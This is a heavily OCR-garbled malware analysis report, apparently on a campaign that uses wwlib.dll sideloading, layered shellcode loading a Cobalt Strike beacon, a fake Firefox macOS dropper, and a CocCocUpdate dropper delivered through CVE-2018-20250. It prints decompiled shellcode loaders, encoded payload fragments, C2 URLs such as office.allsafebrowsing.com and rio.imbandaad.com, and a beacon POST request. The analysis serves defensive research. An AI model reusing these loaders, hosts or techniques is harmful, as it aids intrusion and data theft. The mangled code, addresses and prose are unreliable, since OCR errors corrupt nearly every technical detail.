tl i sample SENM‘ | stdcall Startaddress(LPVOID lpThreadParameter)
OXFFFFFFFF); 2 .

Sample Service: ServiceMain: k ? = 3 esi

ly Sample Service: ServiceMain: § 4

OutputDebugstringA(“My Sample Service: ServiceworkerThread: Entry”);
6 while ( WaitForSingleObject(hHandle, @) )
{
1 = Virtualalloc(e, @x1461Cu, Bx1608u, Bxd0u);
loc_413788, Bx1461Cu);
DI IO

5]
ServiceStatus.dwCurrentState = 7
Servicestatus.dwWin32ExitCode = @; :

ServiceStatus.dwCheckPoint = 3;
3 = SetServiceStatus(hServiceStatus, 8ServiceStatus)’
N 1

else

OutputDebugStringa
return @;

("My Sample Service: ServiceWorkerThread: Exit");
Outputbebugstringa(*My Sample Service: ServiceMain: ¢14
ServiceStatus. dwControlsAccepted - 95 15}
ServiceStatus.dwCurrentState = 1;
Servicestatus.dwiin32exitCode = GetlastError()s
Servicestatus.duCheckPoint = 1;

3 = SetScrvicestatus(hServiceStatus, 8ServiceStatus);

H

if (v )
OutputDebugStri

outputbebugstring

iy Sample Service: ServiceMain: SetServiceStatus returned error™);
Sample Service: Servicemain: Exit");

of samples execute shellcode directly on the main thread
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int64 sub_188601808 ()

il

__inte4 (*v@)(void); // rax
__inte4 (*v1)(); // rcx
signed _ int64 v2; // r&
__inte4 (*v3)(void); // rdx

__int128 v4; // xmm@

(__inte4 (*)(void))virtualAlloc(@i64, @x326@1ui64, Bx1888u, Bx48u);
sub_18808148E8; // shellcode
Bx64Ci64;

R R R R e R I S

(__intsa 0id))((char *)vs + 128);

“yvl o+ 128);

a
]
@
2
3

o
&
S

/4 AT

Ll R3O R R R R R R R R

= & W~ G

wwlib DLL Injection

Through the analysis of the compression package cplh-nhnn-01-2019. Rar downloaded
by amazon AWS, it is found that the compression package packages winword.

They use winword. Exe white use technology, winword. Exe will load the same directory
by default wwlib. DLL,;

The reason why winword. Exe white use technology, because winword. Exe icon is the
icon of word, and wwilib.dll is hidden, so they only need to change winword.

v, ChiPhiLienHoanNHNN-BC2019.exe 2019/1/22 1048 ~ HRERS 340 KB
| %) wwlib.dil 2019/1/22 1048  RFEERETE 112 KB |

Wwlib. DLL malicious code in the FMain export function, winword. Exe will open the
default call FMain this export function, malicious code will be executed;Then base64
decodes the shellcode that comes with it and executes it in the main thread:

SetErrorMode (@x8807u);
& sub_leedl2Fa();
base64decode (&1pHem); // basesd#iE
o = 15;

21 memCpy (&4, (in

22 loadShellcodg(* s
23 iF (w1l y= 8
24 q . .

S& 4, w5, vB, v7, v8, v3);// M¥shellcode

25 8 = IpMem 1@ 6 }(void))virtualalloc(®, dwSize, @x1000u, @x40u);
26 if (w1l + 1 s V7 5

27 12 if ned int)ac »= @x1e )
28 if ( (unsign 13 m3

29 invalid_p 14 V8 = VE;

30 1= *((_pwol 15 memmove B(vE, v7, duSize);

31 if (vloe= (116 _VEQS i

32 _invalid_parameter_noinfo_noreturn(lpem);

33 2 = (char *)lpMem - vlj

34 if ( (char *}1pMem - vl < (char *)4 )

35 _invalid_parameter_noinfo_noreturn(v2);

36 if ( (unsigned int)v2 > @x23 )

37 _invalid_parameter_noinfo_noreturn(vz);

38 @ = (void *}*((_DWORD *)1pMem - 1);

39

49 j_j__ free_base(vi);

42 return 8;

Location of base64-encoded shellcode in the sample:
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.data:1ee190C3 abaaaaabzgkKfjym db
.data:18819DC3

.data:1@8190C3 db
.data:18819DC3 db
.data:1@8190C3 db
.data:18819DC3 db
.data:1@8190C3 db
.data:18819DC3 db
.data:1@8190C3 db
.data:18819DC3 db
.data:188190C8 db
.data:18819DC3 db
.data: 1881908 db
.data:18819DC8 db
.data:188190C8 db
.data:18819DC8 db
.data:1e@19DC3 db
.data:18819DC8 db
.data:1e@19DC3 db

It is found that the decoded shellcode and the previous shellcode are loaded in the same
way. The data offset 0x6b6 is passed to the sub_16 function as the parameter:

5egOG0:00000080 ; Segment type: Pure code
eg0o0

A AR B R H

"BAAAAABZ g +hFYm2EgAAUE EBAAAAWLHLY IPk+ IHSLAEAAGS hGAAAAFNWVATAMMAED "
; DATA XREF: baseéddecode+56to
" FBrAGUAxBQKVHIAbEDHRCRYZQBSAI tADMAE JFWzADIAXBQkYC4AZADHRCRkbABSAL "
"tIFDPAIUWkGIVZZOlE]GEPHOQAATLTKI18IFAP twImhcBOKZAP twSmhc l@IIPIIIRP'
" JLA+ A 3WWY7HHUBD7dCACPCAOPGAMaFwWHXYD7 cGD7cKgBegg BkgkBiFyXQfins7 "
'XCQYDATgBQAAE 3 YAHWKX15bi+VdwgQALs/ r2at LEIIMIAYFyQ+EvgUAATERPMIED "
" BQAAAAAT 3QKeI tECNYFIg+EXAAAAAPGOBOKUAIDUAARATTEDISLVALEABGLXASYAD
" GIRCQB1BQOHAPBxBQkF AAAAAC JRCRAMBC IVCQY iVwkHI1EJBCF 2w+ETAAAAABTRAA "
"AlxyCM/YD2TP/ gDsAdEVMKkAHBB+LYy ITHhDwAAEHKFSYPIBEGZJTR2g+IPweEEABLE "
" +AQDBC DwQPwgDwf AHXR1B0KE TH+1YTHA3QVi8wkDI tUIBhALIUQKEDEEIBxyousXi®
"BwkPA+3BEGLTCRALzyBA3SwkDI18IBSNRCQsxB0kLGT LemBIhCS gAAAA ] ZwkrAAAAL "
' gHAAARXBOKMGY sMz I YQkpAAAAL BCAAAATYOKhAAAAMAEIDQUZGxs1YQkgAAAAT 2"
"EJOgAAACThCSsSAAAATUQKIIME JLAAAACACEAAAGE T SBAARAT YOkwARAATMEI LA "
" AACNhCOTAQAAxkQKOADHhCSEAAAAEBeBDseEJTgAAACYEEcDnalkJAAAAF g T5QHHR
"CSOAAAAZTFRAMEE] JQAAAAS3S08X40kmAAAAET Z kADHhCSCARAABCKAAMAEICBTCS "
' Z§x0QkIHIBLmRmxBQk K Gx 5 xkQkK gDHhC TAAAAARS KAAMe EJMQAAADBIIQAAXADKYAA "
" AAFpYAADHhCTMAAAADT TAAME E TNAAAAAVAAEAXAQK LAAAANUAAQDHRC TYAARAL/EA "
" AMeE JNwAAADd Y gAAXA0kAAAAAAWCAQDHRCT RAAAAT wBAATME I LwAAAC IXCOMI XwkG '
"P9z9IszIiXQkTPOUIBiIBE+3Q/ gz 241 EIESINCQQhcAPhA4BAACNRESThCSAAAANIZ "

segment byte public 'CODE’ use32

5e§266:0006600 assune cs:sego0d
5e§008: 00000000 assune esznothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
bt align 2
ecx |
ecx, 5
ecx, [ecxts

p-based frame

50000016
5<g000: 60608616 sub_16 proc near

56£000: 0000001

56£080: 00000616 var_11C = dword ptr -12Ch
5e£080: 00000616 var_125 word ptr -126h

5<g000: 60608616 var 84 = dword ptr -084h

The function sub_16 is used to decrypt the data following 0x6b6, decrypt the second
shellcode and execute it. The figure below is the second shellcode decrypted:

5eg0@0:00000000 ; Segment type: Pure code

BROUTINE

dd offset unk_138A
db @Cbh
db @Esh

060086C 1 do s9h ;¥

:0000062 db oFeh
5¢£900: 0000063 db s3h
5<g060: 006006C4 db 0£3h

3 CODE XR. £o00: 000RECS

52£060: 0000056 db s0h
5e£000: 0000667 db soh
5e£000: 0000865 db s6h
5¢£000: 000086C9 db och
5<g060: 000005CA db opch
5<£080: 600005(8 db 9
52£060: 000085CC do s1h ;0
52£080: 0060 db 0esh
5e£000: 000086 E db 1
5¢£000: 0000867 db eerh
5¢£900: 00000600 db erh, eczh
s<g060: 00000602 db 55h
s<£060: 60000503 db 88h
'52£080: 00600604 db 0ECh

52g000:00000000 seg0ad segment byte public "CODE' use32
5eg000:00000600 assume cs:seg0fd

525000 : 00006500 assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
525000:00000000 call

5eg000 : 00006005 pop  ecx

525000 :00006006 sub ecx, 5 525000: 00000E83 db 3 dup(ecch)
5eg000:00006009 86 aUsername db "username’,0
52g000 : 00000007 7 aComputername  db *computername’,0

6
52g000:00000016 ; Attributsef bp-based frame
6

52g000:00000016 sub_L proc near
5<g000 : 6000601

5eg000:00000016 Var_204 = dword ptr -204h
52g000:00006016 var_208 = dword ptr -200h
5eg000:00000616 var_LFC = dword ptr -1FCh
5eg600:00000016 var_1F5 = dword ptr -1Fsh
52g000:00000016 var_1F4 = dword ptr -1F2h
5eg00:00006016 Var_1F6 = dword ptr -1Foh
52g000:00000816 var_LEC = dword ptr -1ECh
5250000000616 var_1E8 = dword ptr -1ESh
5eg000:00000016 Var_1c4 = dword ah
52g000:00006016 var 150 = dword oh
5eg000:00000616 var_1DC = dword ptr -1DCh
52g000:00000816 var_1D5 = dword ptr -10sh
52g000:00006016 var_104 = dword ptr -1D4h
5eg000:00006016 Var_108 = dword ptr -100h
52g000:00000016 var_1CC = dword ptr -1CCh
5e5000:00000616 var_1C8 = dword ptr -1C8h
5eg000:00006016 Var_1C4 = dword ptr -1C4h
52g000:00006016 var_1C0 = dword ptr -1Coh
5eg000:00000616 var_L5C = dword ptr -1BCh
5eg000:00000816 var_165 = dword ptr -16h
5<g000:00006016 var 184 = dword ptr -1B4h
5eg000:00000016 Var_156 = byte ptr -186h
52g000:00000816 var_LAC = dword ptr -1ACh
5e5000:00000016 var_LAS = dword ptr -1Ash
52g000:00006016 var_1Ad = dword ptr -1A¢h
52g000:00006016 var_1A0 = byte ptr -1a0h

The second shellcode shellcode by DES declassified out the third layer, the key to

aP2xB2x02xB2x@2 db ' HB2X:H02X: BOIX:H02X: ¥R2XK:H02K' ,0
db 1

2800 db '@eee’,e
dd 9eac1135h

db 1h
db arFh

db 27 ;
db 18h
db 21h

db eFeh

db 83h
db a8h ; K
dw BADSh
db S3h ;S
db 90k
db osh

db 26h ; &
db 18h

El db ae7h
'seg00:00000E05 db 16

"asfahdiughu93ye7891h9ubioufcf" :
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The third layer of she

A AR B R H

va1 = fu

if ( vo

if ( CryptAcquireContexti(&v141, @, @, 24, BxFEEE000) )

tCreateHash(vi4l, 8x808C, 8, @, &148) )

ned int)vie, strlen(vie), @)
v148, @, &v145) )

V119 = 15
(_DWORD *)(=1 + 99);
<

if ( vos

memcpy (v91, al + 183 + v97 + *(_DWORD *)(al + 91}, v94);
if ( !CryptDecrypt(vl4s5, @, v119, @, vo9l, &v112) )

llcode in front of the entrance and two shellcode entry is the same,

also call/pop way find shellcode the positions of the loaded into memory, and then take
the code at the back of the data (0 x8c6 offset) when the parameters are passed to the
sub_16 function, parameters passed as: HTTPS: / / office.allsafebrowsing.com/AwPT:

seg006: 00000000 loc_0:

5e£000:60600000
5egbo0: 60000005
5eg000 : 60800006
segBan: 60808089
5eg00: 6000000F
5200000000010
SegB0: 60808015
5eg000: 60000016
5eg000:00000016
5eg000: 60600016

528000:00000016 ; Attribut

Segaon: 60000816

525000 00000016

5eg00:60606016 sub_16 proc near ; CODE XRsegoeo:
segBan:
= byte ptr -65Ch seg0o0

5egB08: 80BA0R16 var_65C
5eg000: 00000016 var 454
5e£000:00000016 var_24C

Sega0s: B0BA0OLE var
5eg000: 60000016 var.
seg0n: 80600016 var,
5egB00: B0BA0O1E var
525000:00000016 var.
5egB08: B0BA0R16 var,
Sega0e: 80080016 yar
5e£000:60000016 var.
Sega0s: B0BA0OLE var
5eg000: 60000016 var.
seg0n: 80600016 var,
5egB00: B0BA0O1E var
525000:00000016 var.
5egB0s: 80BA0R16 var,
Sega0e: 80080016 yar
5e£000:60000016 var.
5egB00: 00BO0OLE var
5eg000: 60000016 var.
segos: 80600016 var,
5eg000: 00000016 var
525000:00000016 var.
5egB08: 80BA0R16 var
Sega0e: 80080016 yar
5e£000:60000016 var.
5egB00: 00BO0OLE var
5eg000: 60000016 var.
segos: 80600016 var,
5eg000: 00000016 var
525000:00000016 var.
Sega0s: B0BA0OLE var
Sega0e: 80080016 yar
5egA00: 60000016 var,
5eR000: B0B00O16 var

The shellcode from H

call  $is .
pop  ecx seg000:000005Cs
sub ecx, 5 /segew:eeeeeaca
lea  ecx, [eexticsh eg000:600005CA
push  ecx <egoco: soove5CC
call  subJe eg0e0: 000B85CE
<eg000: 0000050
<egaee: coenasD2
45eg000: 00000804
<egoee: oo00e5Ds
5bp-based frame egoe0: 00080805
eg000: 60000504

BROUTINE

= byte ptr -asah segoeo:
- dword ptr -24Ch seg0od
244 = dword ptr -244h segooo
220 = dword ptr -24h segoen:
23C - dword ptr -23Ch seg00
238 = dword ptr -238h segoeo:
234 - dword ptr -234h segBan:
210 = dword ptr -218h seg0o0
26C = word ptr -20ch segoeo:
208 - dword ptr -208h seg0od
204 = dword ptr -204h segooo
200 = dword ptr -206h segoen:
1FC - word ptr -1FCh seg00
178 = dword ptr -173h segoeo:
1F4 - dword ptr -1F4h segBan:

"1E8 = dword ptr -1£8h Seg@00:660BBIC4

178 = dword ptr -1Feh Seg0B0:00B0EIG0
18C = word ptr -1eCh s2g0e0:00000902
184 = dword ptr -1E4h 5eg0a0: 00000906
1E0 = dword ptr -lEéh segpa0: 0000908
10C - dword ptr -10Ch SegB0:00BABIBA
108 = dword ptr -108h 52g000:0000090C
104 - dword ptr -104h SegBa0:600ABIE
108 = dword ptr -1D8h Seg00: 00008910
1cc = dword ptr -1CCh 52g0e0:00000912
1c8 - dword ptr -1Csh SegBoa: 60666914
1c4 = dword ptr -1C4h 5eg0o0: 00000915
1ce = dword ptr -1Ceh
18C - dword ptr -18Ch
188 = dword ptr -188h
184 - dvord ptr -184h
180 = dword ptr -186h
1AC = dword ptr -1aCh
188 - dword ptr -1Ash
10 = dword ptr -144h

TTPS: / / office.allsafebrowsing.com/AwPT download files, and

then performed in the memory, the image below to download the file using the UA:
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427 w124 = "o\eM';
428 w125 = 'i\@z':
429 w126 = '1\el’:
438 w127 = "f\@a’;
431 w128 = ".\@5";
432 w129 = ' \Ba';
433 wl3e = "c\a(’';
434 w131 = 'm\@o’;
435 w132 = "a\@p';
436 w133 = "ivet';
437 w134 = '1\@b’:
438 v135 = ";\@e’;
439 vl13e = 'M\@ ';
44p| w137 = 'I\@S':
441 V138 = ' \@E';
442| w139 = '.\@9';
443 vi14e = ";\@e8’;
444 141 = 'W\@ ':
445 w142 = 'R\@i’:
446 v143 = 'o\ed’:
247 w144 = 's\ew':
448 v145 = "Nv@ ':
449 v146 = ' \@T';
458 w147 = ".\86";
451| v148 = ";\e1';
452 w149 = 'Tv@ ';
453 vise = 'i\er':
454 151 = ‘e\ed’:
455 w152 = 't\@n':
456| w153 = '5\@/':
457 wls4 = '@e\ve.';
458 w155 = 4]1;

The downloaded AwPT file from cobaltstrike is the shellcode module:
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Offset 0
ooooooon  EC
ooooool0 | 8B
0o000oz0  Fa
00000030 sA
oooooo40 1B
00000oso BA
00000os0 | D1
0o00ooo70 D1
ooooooso | 21
ooooooso  C3
oo000oos0 | DB
000000BEOD  EB
ooooooco | 8F
0o00ooopo B
000000ED | 41
000000F0 DO
gooooioo 19
00000110 &4
ooooolzo o 7a
00000130 7a
00000140 2B
0o0o0o01s0  co
00000160 Bl
00000170 Bl
ooooois0 Bl
00000190 B3
0o00001a0 B3
000001B0 &2
oooooicn 76
0ooooipn 76
000001ED  B&
000001F0  B&
ooooozon | 36
goooozio o 42
ooooozzo 42
00000230 18
oooooz40 12
ooooozs0 ) 32
000002e0  C9
oooooz7o  C9
0000o0zen0 Ck
0o00oozs0 | 86
oo00oozand | Ce
000002E0 | DD

The following figure shows the algorithm to decrypt the attached data at the end. Like
the shellcode module from cobaltstrike, the difference from before is that the shift moves

8 bytes backward:

1A 56

segbld: BeeeEReI sub_9

seghee: eeeaeead
seglbo: Go0BRBOA
seghee: aeeaaaac
seglbo: GoeeBeD
seghan: seeesele
seghBd: BeeReel2
seghan: eeeesals
seghB: BeeReels
seghes: eeereals
seghB: BeeReela

seglee:eeeeeeld loc_19:

segbdo: Beapee19
segheR: BRRERR1E
Segeen: BeBEee1D
seghen: BRRRRRLF
SEg0e0: 00000021
segBan;: BaRBRR22
SEg080: B0BBRO25
segBan: BRRBRR2E
SEQRB0: BEBRE82A
seg080: BRRBRR2C
SEEE80: 000000 2E
seglaa: aaaaeasa
SEQEB0: BEBE0850

segltn:aeeeea3a loc_3@:

SegPen: eeReease
seglta: aeeaea3l
SegPee: eeeeee32
segltn: aeeaea3s

Segees:eeeeee3s sub_9

segBaa: 8aaaaa35
segeen: eeeeees7
seglas: aaaaaa37

Segles:eeeeee37 loc_37:

seglas: aaaaaa37
segBes: eeeeees7
seglaa: 8eaaaasC

seglas
segeee: eeeeedd
seghBo: BeeBBB4S
scgeee: eeesena’
seghdo: BeaoBB4E
s£geee: eeesenan
seghdo: BBB0BB4E

AR 02 55 2F D8

85 75 32 3F AB

E5 CA F7 0O 77
CC CA E6 DO 4C
G4 SE 1E 00 F&
94 0C 96 00 BB
29 0C 95 00 BB
74 BS Fb BB TA
24 20 Fb BB BB
2B 71 B2 33 CB
Co FC BA 92 CO
Bl FB 69 92 B1
B4 E9 69 82 B4
Bl D9 D 82 Bl
B3 DD 3D 83 B3
B3 DD 2D 83 A3
Db 32 2C 83 76
76 32 2C 83 76
76 22 28 83 Be

Bb 34 Z8 83 Ee
36 DC 24 83 36
42 BF 28 83 42
42 BF 28 83 42
12 87 4F FB 12
12 DD 4D FB 12
1T AF 29 FA 68
C9 AD 2B FA C9
C9 FF 29 FA 89

86 A4 49 CE 86
E& D6 2C B2 B7
DD 9B 28 B2 DD

65

proc near

pop ecx

mov edx, [ecx]
dec eax

add ecx, 4
mov ebx, [ecx]
xor ebx, edx
dec eax

add ecx, 4
push ecx

mov edi, [ecx]
xor edi, edx
mov [ecx], edi
xor edx, edi
dec eax

add ecx, 4
zub ebx, 4
xor edi, edi
cmp ebx, edi
jz short Loc_3
jmp short loc_1!
pop edx

dec eax

sub esp, 8
jmp edx

endp

call sub_9

8B 11 48 83 C1 D4 i&..... &.Y1.HIA,
39 31 D7 89 39 31 1.10HIA.Q191x191
39 FB 74 02 EB E9 wHIA.1&.19¥90t.8¢
FF FF 1B 7E C1 C9 ZHIi.yaslyns, “AE
29 92 DOF FB 7B D7 .FAEVSIEVS) Ri{=
CE 3E B9 10 6C A8 IrIVIZ.VI¥I>t.1h
93 BB D1 43 93 B& H.1nfc Hen ficr,
93 BB D1 43 93 B&  Ron,Hen Hew ficr,
20 7B OE 50 21 37 ICI,~~\)9& {.PI7
32 5D B9 00 12 3E Equ_2.Us@m2]t..>
EB SA AC 55 05 7A& @n|Q-N.41<kZ-1.z
3F 35 8F 78 3F 35 &.VZIu2?¢x?5.275
51 BG 58 85 61 00 .x?5¥la.E.QfXla.
C7 66 FA 98 73 00 E.QfaE+ . wvQfils.
DE 66 C1 98 65 00 A.CEfIE=.LVOfAle.
2E 66 6B GE 1F 00 D.Ufd"..eh.fk™..
A6 66 36 SE 04 00 .A/E1.1.».!f6"..
A5 66 E9 F9 C6 DE RA4E).1.» ¥[euf.
F6 68 YA 65 Fb 68 zeohzeohzeochzech
F2 68 2B 71 62 33 zesh* ShE|ah+qh3
60 92 CO0 70 69 92 +gb3+gb3Eq “Api~
B4 92 B1 BB BE 92 Avk-Al] AUjL£lk”
69 82 B1 EB 69 82 +lk’£ai tiilzsil
69 82 B1 E9 69 82 +&il éil é&ilxsil
6D 82 B1 DD 6D 82  #+&ilUmlzTmi+¥ml
3D 83 B3 CD 2D 83 o¥-1s¢¥=1si=0%i-1
2D 83 F3 DC 2E 83 °¥-15Y-1£7-1400.1
2C 83 76 32 20 83 c¢U.102,1v2,0v2,1
2C 83 76 32 20 B3 vZ,lv2,1vZ,IvE, |
28 83 B6 34 28 B3 vZ,0v" (1M4(1M4(1
28 83 B6 34 25 B3 W4(1M4 (14 (14 (1
28 83 76 DC 2A B3 W4 194 (194 (Ivilxl
2k B3 36 BC 28 83 ell=dali=lal=lan(l
28 83 42 BF 28 B3 BL({IBE(1BL(IBL(I
28 83 6C OB 4D FB B&(MBE (1B (I1EMG
4F FB 12 D9 4D FB .EM.100.100.0M4
4D FB 12 DD 4D FB  .YM.VM0.TMO. VMG
29 FA CO &F 29 FA  2¥MI. JuhiidEe)d
29 FA CO FF 29 FA E.+dE-+uBy ) aEia
29 BA A7 9B 48 CE  Ei )Rl es1HT
4B CE 84 50 4B CE  EIHI1adIeET PRl
49 CFE 84 A4 49 CE 1=Tir=Tin=TiNeal
20 B2 OD AR 20 62 A=T.&0,blp, hvs. b
2B B2 DD 83 2B 62 Ve (b¥I(BVI+h71+h

; CODE XREF: seg@@@:loc_37lp

; CODE XREF: sub_0+2545

; CODE XREF: sub_9+23%j

dd ecac17eigh |
dd BCoC2461Bh

push esi

and al, 25h
leave

push esi

and al, 29h
xchg eax, edx
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The decrypted data is a beacon module, as shown in the figure:

EnEEEbeacondll
SHEREENVC 9.0
HEE = b EIRRE=: |
text _Reflectiveloader@4 KERMEL32.dll
rdata ADVAPIZ2.dI
data WININET.dI 3
reloc Ws2_32.dll
DNSAPLAI
IPHLPAPLDLL =

. 1

Extract the configuration file information as follows:

| R YES = PESRSTIFNANL N N ME PNV ASAELTIAL UL ipgg oy

i (TS Eaisn .
ABHBEAS 4R < B2 Enfilr 45 120 b Ereger L

gt

FE TR PEEE TR, (= ref=nb_sb_noz=_1/1B7-3234333-0262949/ fiel d-leyword
s=books

L €MozillafS. 0 (Windows HT B.1: WOWE4: Trident/T.0;
rv:11.0) like Gecks

+
L B/W4215/adj/ amzn. us. sr. aps It
|
gl 1
dheocept: w1 L
Tost: waw, amazon con ¢ b1 Msession-token=
¥skin=noskin; . esm=hi t=s-24KU1 1 BBSZRZSYGTIBIK [1419899012908 -
—Lookie
4
L 4
Jheocept: wiw o L
Lontent-Type: textfzml L
H-Requested-With: XMLHttpRequest 1
Tost: www. amazon, com +
=r=1B0xE00 4oe=0e=I50-35859-1; * =0
—5=3T1T “de_ref=httpRIAREFEZFwww. amazon. com . Ld
L @%windir®isyswowdd rundll13?. exe L
@¥windir¥hisysnativetrundl 132 exe WL
€ \VWishpipeimsazent _¥x
1 s 1.4
+ L jsET = L JposT 14 %94 & 4
1 # 1q (4d 194 toqe, 1eE-5Hd
L
!
L
a 1 L
The analysis object is a MAC backdoor disguised as a browser.
| Firefox.dmg 2018/9/27 17:01 DMG 3T 2,863 KB

The extracted file structure is as follows, which is a macOS installation package, as
shown in the figure:
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Ik

£

.background
fseventsd
HFS+ Private Directory Data_
Trashes
[HFS+ Private Data)
Firefox.app

L | .DS_Store

DS_STORE 4% 11 K

ICNS 3745 449 K

o

|| Molumelcon.icns

After opening it, the interface for installing Firefox will be displayed. Double-click the
Firefox icon, and the Dropper process will be executed:

| NON El Firefox

Firefox

It will pop up the interface of fake FireFox and click update. Even if the Internet is
disconnected, the download progress bar will appear, which is forged by the attacker:

\  Firefox i @
50.0 What's new ) vVMu;aarlt;eS:;aref

) [C |

Firefox is designed by Mozilla, a global community working .
together to keep the Web open, public and accessible to all. X
Want to help? Make a donation or get involved!

Firefox

Licensing Information End-User Rights Privacy Policy

3 1= (..r—“@ Uﬁ

This is the fake interface the attacker drew:
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e Fvil
en.lproj
] ajax-loader.gif 9 KB
B| background.png 68 KB
B| Backgroundinfo.png 17 KB
B| bg.png 13 KB
| GSUIcan.icns 783 KB
B| Update Add-on copy.png 29 KB
|| UserDefault.conf 81 KB
| ViewController0.nib 6 KB
| ViewControllerl.nib 9 KB
|| ViewCantroller2.nib 4 KB
=] background.png - Windows BREE% ‘_I_‘—J':' 5] ||
SR v FEE) v BTEEE  #RU) v 7F0) v @
F. f
Firefox is designed by .a working
together to keep the Web open, public and accessible to all.
‘Want to help? or
Joi 1a ;‘1 M 5 ¢ | X

After running, Dropper will create the following APP in the Library directory to start up:

/ Users/username/Library/LaunchAgents/com, apple. Spell. Agent. The plist

The app in the startup directory to the directory: /
Users/username/Library/Spelling/spellagentd file, the file in OSX bin file, code did add
case processing, will decrypt the shellcode in memory and execute, as shown in figure:
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o f2 N
BESEEL G
1[ int64 _ usercall start@i<rax>(_inté4 alfi<rbx>, _ int64 a2ficrld>, _ int64 a3@<rs>)
29
3 unsigned int v3; // ecx
4 unsigned _ int64 v4; // rax
5| unsigned int vs; /
6| unsigned _ intl rbx
7 intsa (_ fast(all 7 inte4, __intsd); // ri5
8 r vy 77 [r B36h]
9 Nid ’Etadd’,
3 = *(_DWORD *)(((unsigned _ int64)start & @xFFFFFFFFFFFFO@@OLL) + 0x10);
if (V3 )
{
= (unsigned _ inté4)start & @xFFFFFFFFFFFFO@@OLL | 0x20;
v5 = @;
while ( *( DWORD *)va 1= 25 || *( QWORD *)(v4 + 18) != 6673468636892678476LL )
{
53
4 += *(uns ’ﬂued int *)(v4 + 4);
i (5 >=
goto LABEL_10;
H
= Yt + 24)5
a3 =
do
i
a2 = *((unsigned int *)vé - 1);
& -=2;
while (
31 al = az
32 %}
33LABEL 10:
inte4 (_fastcall *)(_inté4, _ inte4))sub_FOBBABFD(al, a2, (_ int64)&5, OxA80BLL, 33);// Decods codes

b FBBBBF?E(

etaddr
return v’

Run shellcode |

After execution back to the address: rio.imbandaad.com, through a Post request packets

sent to the server: http://rio.imbandaad.com/v3/yQ/r/eiCu1gd6Qme.js

Stream Content

POST /vw3/yQ/r/eiculgdeqme. js HTTP/1.1

Host: rio.imbandaad. com

user-agent: curl/7.11.3

Accept: */*

content-Length: 319

content-Type: application/x—www-form-urlencoded

[ & L TX%. .. t44VLwIw .f.al..8U0 g...\.. . AL,
HeZeinnans D I o A R « PR . T [, z ..... = .c:c z.x,f

ucp0..u...I B

L+O|Kv....,cgn+3H6 \ l 2 ....... bv......n... |

X.@0.-..1...%X_....Z>H. a]....'.% ........ eN"%y q. TF e 1M FODL L+ K B UL L L]

But the address is no longer valid. The signature information of the App is as follows:

Identifier = org, mozilla firefox+

Format=bundle with mach-o universal (i386 x86_64)+
CodeDirectory v=20200 size=623 flags=0x0{none) hashes=24+3 location=embedded+
Hash type = shal size = 20+

CDHash = flebdfdfaOc6ab158bc619350c54d3e337a5c843+
Signature size = 4233+

Autharity=Developer ID Application: Melinda Cline (P74QRIXB2F)+
Authority = Developer ID Certification Autharity+

Autharity = Apple Root CA«

Signed Time=Mar 22, 2018, 9:10:20 PM+

The Info. The plist entries = 24+

Teamldentifier = P74QRIXB2F+

Sealed Resources version=2 rules=12 files=11+

Internal requirements count = 1 size = 212¢

CocCocUpdate

CocCocUpdate is a Dropper that is released into the startup directory using a
compression package constructed by cve-2018-20250 vulnerability. The screenshot of

the compression package is as follows:
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SPOR | IR AMEE g,
Jc: <SUBDIR>  2019/2/2122: ik d..
] jpg 281,107 2019/221 22: PG I 281,107 100% Good o 0%2Bu..
(55 1.psd 1,255,922 2019/2/2122:0... PSD 3 1,255,922 100% Good - OXZE..
@' 2.jpg 227,226 2019/2/2122:0... PGIH 227,226 99%  Good - 0xDC.
[F2.psd 1,688,711 2018/2/21220... PSDITM 1,688,711 100% Good .. Ox2A...
(] 3.jpg 225,017 2019/2/21 22: ach-dcd 225,017 100% Good - OXAF...
[)3.psd 1,903,698 2019/2/21 22:0... PSD 3Zff 1,903,698 100% Good - OxSF..
@' 4.jpg 1,273,862 2019/2/2122:0... PGIfF 1,273,862 100% Good - Ox1B..
[E4.psd 8,724,681 PSD X 8,724,681 100% Good - 0x75...
\ ARTALUNLTTF 23,275,812 TrueType 23,275,812 100% Good  -. 02C...
[#]bank.psd 3,025,020 PSD 3T 3,025,020 100% Good o Ox3F..
@' bank_copy.jpg 362,302 PG 362,302 100% Good - 0x23..
[E=\card.psd 15,037,073 PSD 371 15,037,073 100% Good  -. OXTE...
& card_copy.ing 290,512 PG 290,512 100% Good - OxF8...
+ Imprisha, tif 54,980 TrueType FHIfF 54,980 100%  Good o OxBA..
[5=/Nam_1.psd 5,211,785 2019/2/2122:0... PSD 3 5,211,785 100% Good - Ox1F..
[#nam_2.ped 10,604,129 2019/2/2122:0... PSD ¥ 10,604,129 100%  Good - 0x3C.
[=INam_3.psd 3,422,039 2019/2/2122:0... PSD 3T 3,422,038 100% Good - 0x64...
[ENam_4.psd 6,014,052 2019/2/2122: PSD X 6,014,052 100% Good - O,
[5E]Mu_t.psd 2,131,971 2019/2/21 22:0... PSD 3Zff 2,131,971 100% Good - 0xC4,
[8ENu_2.psd 3,022,455 2019/2/2122:0... PSD ¥ 3,022,455 100% Good - 0x33..
[ENu_3.psd 5,923,571 2019/2/2122:0... PSD 3 5,923,571 100% Good - 0xF9..
\ (OCR_A_BT.ttf 26,568 TrueType FHZIF 26,568 100% Good ... 0XCB...
» OCR_A_Extended. ttf 56,624 TrueType I 56,624 100% Good o 0x69...
i OCRAStd.otf 29,460 OpenType F{F371F 29,460 99%  Good - 0x21..
+OCR-B_10_Pitch BT.Hf 21,088 TrueType M 21,08 00% Good - 0x37...
[=lus-bank.psd 1,944,230 PSD X1 1,944,230 100%  Good ... 0x3B...
] us-bank_copy.jpg 209,750 2019/2/2122:0... PG IfF 209,750 100% Good o OXFC...

After restart, it will be executed by the system, and the corresponding file is
coccocupdate.exe. We have exposed a Dropper version of random key passing through
command line parameters in 2015. This coccocupdate.exe is improved to pass random
key through environment variables.

The specific steps are as follows:

1. Gets the full path of the executed coccocupdate.exe in an environment variable
with a value of "C091A8C8" for later reading.

e = (LPCWSTR)(((int (_
if ( !fun_GetEnwvalue((LPuSTR

int (_stdeall ***)
L"C@91A8C8") || !weslen(

of f_a7c470[3]) (8off_a7ca70) + 16);
ame)} )

°:

name

memset(&v107, @, @x206u);
GetModuleFilelameli(@, & @x104u);
if ( !weslen(&Filename) || !SetEnvironmentvVariableW(L"CR91A8CS",

goto LABEL_11

1. Randomly generate a 128-byte key and store it in an environment variable with a
value of "DB99050C";Used to encrypt the shellcode data that follows them.

128 v48 = _timesa(®);

121 srand{v43);

122 18 = 8

123 memset(&v111, @, 63u);
124/ 40 = @

125

126

127

128

